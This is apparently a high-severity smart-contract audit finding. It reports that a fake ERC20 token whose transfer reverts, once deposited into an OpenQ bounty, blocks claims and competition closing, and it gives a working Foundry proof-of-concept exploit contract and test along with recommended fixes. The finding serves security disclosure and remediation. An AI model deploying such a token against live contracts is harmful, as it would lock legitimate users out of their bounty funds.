0xdeadbeef

high

# Malicious ERC20 tokens can prevent closing and claiming bounties

## Summary

The protocols allows unique ERC20 tokens to be used to fund bounties. 
Any account can add funds through the `depositManager`.

Claiming the following bounty types:
1. AtomicBountyV1
2. TieredPercentageBountyV1

Will iterate over all deposited ERC20 tokens and send them to the claimer.

Since a malicious actor can freely add a FAKE ERC20 token that reverts when in the `transfer` function.
Users will not be able to claim their bounties (even for legitimate ERC20 tokens)

## Vulnerability Detail

Users claim their bounty through the oracle using `ClaimManagerV1`'s `claimBounty` function to handle the payout of the bounty to the user or through `permissionedClaimTieredBounty`

Each type of bounty has its own claiming functionality:
```solidity 
    function claimBounty(
        address _bountyAddress,
        address _closer,
        bytes calldata _closerData
    ) external onlyOracle onlyProxy {
-------
        if (_bountyType == OpenQDefinitions.ATOMIC) {
-------
            _claimAtomicBounty(bounty, _closer, _closerData);
-------
        } else if (_bountyType == OpenQDefinitions.ONGOING) {
            _claimOngoingBounty(bounty, _closer, _closerData);
        } else if (_bountyType == OpenQDefinitions.TIERED_PERCENTAGE) {
            _claimTieredPercentageBounty(bounty, _closer, _closerData);
        } else if (_bountyType == OpenQDefinitions.TIERED_FIXED) {
            _claimTieredFixedBounty(bounty, _closer, _closerData);
------
    }
```

### ATOMIC bounty claim

`_claimAtomicBounty` will be called.
```solidity
    function _claimAtomicBounty(
        IAtomicBounty _bounty,
        address _closer,
        bytes calldata _closerData
    ) internal {
------
        for (uint256 i = 0; i < _bounty.getTokenAddresses().length; i++) {
            uint256 volume = _bounty.claimBalance(
                _closer,
                _bounty.getTokenAddresses()[i]
            );
------
        }
------
    }
```

### TIERED_PERCENTAGE bounty claim

`_claimTieredPercentageBounty` will be called:
```solidity
    function _claimTieredPercentageBounty(
        IBounty _bounty,
        address _closer,
        bytes calldata _closerData
    ) internal {
-------
        for (uint256 i = 0; i < _bounty.getTokenAddresses().length; i++) {
            uint256 volume = _bounty.claimTiered(
                _closer,
                _tier,
                _bounty.getTokenAddresses()[i]
            );
-------
        }
-------
    }
```

As can be seen for each type above, each ERC20 token deposited will be iterated over in a loop and passed to `_bounty.claimBalance`/`_bounty.claimTiered` which will attempt to transfer the bounty to the claimer using `_transferToken`.
https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/Bounty/Implementations/AtomicBountyV1.sol#L96
https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/Bounty/Implementations/TieredPercentageBountyV1.sol#L118

`_transferToken` function leads to `_transferERC20`:
https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/Bounty/Implementations/BountyCore.sol#L181-L191

`_transferERC20` will attempt to `safeTransfer` to the payout address. 
https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/Bounty/Implementations/BountyCore.sol#L221-L228

When the malicious ERC20 token address `transfer` function will be called, the token will actively revert and therefore the whole transaction will revert. (See POC FakeERC20 token)

Additionally, `closeCompetition` is also effected through reviewing of the ERC20 token balance using `getTokenBalance`
https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/Bounty/Implementations/TieredPercentageBountyV1.sol#L134

The malicious ERC20 token will revert on any call to `balanceOf` and therefore the whole transaction will revert. 
This is a bit more complex as it requires to change `balanceOf` to revert only after deposit in order to be able to fund the bounty with the token

## Impact

Users will not be able to receive their bounty.

## Code Snippet

### Foundry POC

I created a foundry POC end to end.
To get it running, first install foundry using the following command:
1. `curl -L https://foundry.paradigm.xyz | bash` (from https://book.getfoundry.sh/getting-started/installation#install-the-latest-release-by-using-foundryup)
2. If local node is not already running and contracts are not deployed, configured and funded - execute the following:
```bash
yarn deploy-contracts:localhost
yarn configure-whitelist:localhost
yarn deploy-bounties:localhost
```
3 Perform the following set of commands from the repository root.
```bash
rm -rf foundry; foundryup; mkdir foundry; cd foundry; forge init --no-commit; cp -r ../contracts ./src/; forge install openzeppelin/openzeppelin-contracts --no-commit; forge install openzeppelin/openzeppelin-contracts-upgradeable --no-commit; echo "@openzeppelin/contracts=lib/openzeppelin-contracts/contracts/\n@openzeppelin/contracts-upgradeable=lib/openzeppelin-contracts-upgradeable/contracts/" > remappings.txt
```
4. Add the following to `foundry/test/Hacker.t.sol
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import {OpenQV1} from "../src/contracts/OpenQ/Implementations/OpenQV1.sol";
import {ClaimManagerV1} from "../src/contracts/ClaimManager/Implementations/ClaimManagerV1.sol";
import {DepositManagerV1} from "../src/contracts/DepositManager/Implementations/DepositManagerV1.sol";
import {IBounty} from "../src/contracts/Bounty/Interfaces/IBounty.sol";
import {IERC20Upgradeable} from '@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol';

contract FakeERC20 {
    function balanceOf(address) public returns (uint256) {return 100;}
    function transfer(address to, uint256 amount) public returns (bool) {
        revert(); // This will cause claim to revert
    }
    function transferFrom(address from, address to, uint256 amount) public returns (bool) { return true;}
}
contract Hacker is Test {
    // Addresses of contracts
    OpenQV1 OPENQ = OpenQV1(0x5FC8d32690cc91D4c39d9d3abcBD16989F875707);
    ClaimManagerV1 CLAIM_MANAGER = ClaimManagerV1(0x2279B7A0a67DB372996a5FaB50D91eAA73d2eBe6);
    DepositManagerV1 DEPOSIT_MANAGER = DepositManagerV1(0xB7f8BC63BbcaD18155201308C8f3540b07f84F5e);
    IERC20Upgradeable DAI = IERC20Upgradeable(0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0);

    // Bounties
    string atomicBountyWithGoalId = "I_kwDOGWnnz85GjwA1";
    IBounty bountyAddress;
    uint256 deposit_amount = 1000;

    //oracle
    address oracle;

    function setUp() public {
        bountyAddress = IBounty(OPENQ.bountyIdToAddress(atomicBountyWithGoalId));
        oracle = CLAIM_MANAGER.oracle();
        // Do not require any kyc/invoice/docs  
        vm.startPrank(oracle);
        OPENQ.setKycRequired(atomicBountyWithGoalId, false);
        OPENQ.setInvoiceRequired(atomicBountyWithGoalId, false);
        OPENQ.setSupportingDocumentsRequired(atomicBountyWithGoalId, false);
        vm.stopPrank();

        // Fund the us DAI and approve bounty with our DAI
        deal(address(DAI), address(this), deposit_amount);
        DAI.approve(address(bountyAddress), deposit_amount);
        
    }

    // Helped to deposit ERC20 token to bounty
    function fundBountyToken(address erc) public {
        DEPOSIT_MANAGER.fundBountyToken(
        address(bountyAddress),
        erc,
        deposit_amount,
        block.timestamp + 100,
        "hacker");
    }

    // Helper to create close data

    function getCloseData() public returns (bytes memory data) {
        bytes memory data = abi.encode(address(this), "hacker", address(this), "some_id");
        return data;
    }
    function test_preventClaim() public {
        // Create fakeERC20 token that reverts on "transfer"
        FakeERC20 fakeToken = new FakeERC20();

        // Fund bounty with DAI and fake token
        fundBountyToken(address(DAI));
        fundBountyToken(address(fakeToken));

        // Validate bounty is claimable
        assertEq(CLAIM_MANAGER.bountyIsClaimable(address(bountyAddress)), true);

        // Claim bounty and validate that the call will revert
        vm.prank(oracle);
        vm.expectRevert("SafeERC20: low-level call failed");
        CLAIM_MANAGER.claimBounty(address(bountyAddress), address(this), getCloseData());
    }
}
```
6. Execute `forge test -m test_preventClaim --fork-url=http://127.0.0.1:8545`


## Tool used

VS Code, Foundry
Manual Review

## Recommendation

While viewing the codebase it seems that any place that iterates over all the deposited ERC20 will be impacted. 
This includes transfer or ERC20 tokens and previewing the balance when closing TIERED bounties.

in `getERC20Balance`, wrap `balanceOf` in a try/catch statement and not to revert if the call was unsuccessful (can also use low level success handling)
https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/Bounty/Implementations/BountyCore.sol#L298

In `_transferERC20` to wrap the `safeTransfer` in a try/catch statement and not to revert if the call was unsuccessful (can also use low level success handling)
https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/Bounty/Implementations/BountyCore.sol#L227
